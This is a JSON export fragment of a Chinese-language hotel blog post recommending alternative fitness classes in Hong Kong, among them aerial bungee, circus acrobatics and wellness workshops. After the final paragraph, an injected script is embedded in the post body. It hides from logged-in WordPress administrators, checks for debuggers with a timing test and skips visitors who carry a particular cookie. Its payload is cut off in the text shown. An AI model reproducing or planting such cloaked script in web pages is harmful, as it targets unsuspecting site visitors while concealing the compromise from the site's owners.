(Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u538c\u5026\u4e86\u5728\u5730\u4e0a\u505a\u5065\u8eab\u8fd0\u52a8\uff1f\u90a3\u5c31\u6765\u8bd5\u8bd5\u5728\u7a7a\u4e2d\u505a\u5427\uff01\u7a7a\u4e2d\u5f39\u8df3\u8fd0\u52a8\u662f\u7531\u7279\u6280\u4f53\u64cd\u6f14\u53d8\u800c\u6210\u7684\u9ad8\u5f3a\u5ea6\u95f4\u6b47\u8bad\u7ec3\uff0c\u5b66\u5458\u9700\u8981\u5750\u5728\u4ee5\u5f39\u7c27\u7ef3\u7d22\u8fde\u63a5\u5929\u82b1\u677f\u7684\u5b89\u5168\u5e26\u4e0a\u505a\u8fd0\u52a8\u3002\u867d\u7136\u7a7a\u4e2d\u5f39\u8df3\u8fd0\u52a8\u4e0e\u7a7a\u4e2d\u745c\u4f3d\u4e00\u6837\u90fd\u662f\u53cc\u817f\u79bb\u5730\u5e76\u4e14\u5728\u7a7a\u4e2d\u6447\u66f3\u8fd0\u52a8\uff0c\u4f46\u662f\u5b83\u5374\u4e0d\u4f1a\u50cf\u7a7a\u4e2d\u745c\u4f3d\u4e00\u6837\u8ba9\u60a8\u5728\u4e00\u5c0f\u65f6\u7684\u7ec3\u4e60\u4e2d\u611f\u5230\u5e73\u9759\uff0c\u56e0\u4e3a\u5f39\u7c27\u7ef3\u7684\u963b\u529b\u9700\u8981\u60a8\u5168\u8eab\u808c\u8089\u53d1\u529b\uff0c\u6240\u4ee5\u60f3\u8981\u953b\u70bc\u6838\u5fc3\u808c\u7fa4\uff0c\u7a7a\u4e2d\u5f39\u8df3\u8fd0\u52a8\u7edd\u5bf9\u662f\u65b0\u5f0f\u5065\u8eab\u8fd0\u52a8\u4e2d\u7684\u6700\u4f73\u9009\u62e9\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.grandjetedancecenter.com\/\">Grand Jet\u00e9 Dance Centre<\/a>\uff1a\u65b0\u84b2\u5c97\u7235\u7984\u8857Port 33 903\u5ba4<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">10. \u9a6c\u620f\u56e2\u7279\u6280\u5065\u8eab\u8fd0\u52a8<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"612\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10.jpeg\" alt=\"\" class=\"wp-image-3273\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10.jpeg 1080w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-720x408.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-768x435.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_10-18x10.jpeg 18w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/><figcaption>\u56fe\u7247\u6765\u6e90\uff1a@trybehongkong (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u60f3\u77e5\u9053\u9a6c\u620f\u56e2\u8868\u6f14\u8005\u5982\u4f55\u8f7b\u677e\u505a\u51fa\u5404\u79cd\u4e3e\u8d77\u548c\u5e73\u8861\u52a8\u4f5c\uff1fTrybe \u5c06\u4f20\u7edf\u9a6c\u620f\u56e2\u53cc\u4eba\u8868\u6f14\u7684\u6280\u5de7\u6f14\u53d8\u6210\u6709\u8da3\u597d\u73a9\u7684\u5065\u8eab\u8bfe\u7a0b\uff0c\u8ba9\u60a8\u5728\u8fd0\u52a8\u5065\u8eab\u7684\u540c\u65f6\uff0c\u4e86\u89e3\u9a6c\u620f\u56e2\u8868\u6f14\u7684\u5965\u79d8\u3002\u60a8\u4f1a\u4e0e\u5176\u4ed6\u5b66\u5458\u7ec4\u6210\u4e8c\u4eba\u5c0f\u7ec4\uff0c\u4e00\u8d77\u5b66\u4e60\u5404\u79cd\u9ad8\u96be\u5ea6\u52a8\u4f5c\u3001\u953b\u70bc\u8eab\u4f53\u7684\u529b\u91cf\u3001\u534f\u8c03\u3001\u5e73\u8861\u53ca\u4e0e\u6c9f\u901a\u80fd\u529b\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.trybehk.com\/\">Trybe<\/a>\uff1a\u575a\u5c3c\u5730\u57ce\u5351\u8def\u4e4d\u88575H\u53f7\u5357\u96c4\u5927\u53a6 G\/F 10B\u94fa<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"480\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14.jpg\" alt=\"\" class=\"wp-image-3274\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14.jpg 640w, https:\/\/lansonplace.cn\/wp-content\/uploads\/J-D-workshop14-16x12.jpg 16w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n\n<p>\u9999\u6e2f\u9038\u5170\u82cf\u8c6a\u4e1c\u670d\u52a1\u5f0f\u516c\u5bd3\u5c06\u5bbe\u5ba2\u7684\u8eab\u5fc3\u5065\u5eb7\u653e\u5728\u9996\u4f4d\uff0c\u6211\u4eec\u5b9a\u65f6\u4e3e\u529e\u4e30\u5bcc\u591a\u6837\u7684\u5065\u5eb7\u4e3b\u9898\u6d3b\u52a8\u548c\u5de5\u4f5c\u574a\u3002\u9038\u5170\u4e0e\u5fc3\u7406\u6cbb\u7597\u8bca\u6240 <a href=\"https:\/\/www.jointdynamics.com.hk\/\">Joint Dynamics<\/a> \u4e00\u8d77\u4e3e\u529e\u7684\u5065\u5eb7\u5de5\u4f5c\u574a\uff0c\u8ba9\u5bbe\u5ba2\u5728 Yoga\u2019rden \u4e00\u8d77\u8fd0\u52a8\uff0c\u89e3\u9501\u5404\u5f0f\u5404\u6837\u7684\u5065\u8eab\u8d34\u58eb\u3002\u60f3\u4e86\u89e3\u66f4\u591a\u8fd1\u671f\u4e3e\u884c\u7684\u5065\u8eab\u6d3b\u52a8\u8d44\u8baf\uff0c\u6b22\u8fce\u968f\u65f6\u8054\u7edc\u6211\u4eec\u3002<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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Whether you\u2019re feeling bored of your traditional workout sessions or looking to try something new, stay active by giving these fun alternative workouts a try! Fun Fitness Classes &amp; Alternative Workouts to Try [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3267,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[6],"tags":[],"class_list":["post-3261","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-health-wellness"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.3.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>10 Alternative Workout &amp; Fun Fitness Classes in Hong Kong<\/title>\n<meta name=\"description\" content=\"Hate the gym? Give these 10 alternative workout and fun fitness classes a try instead! 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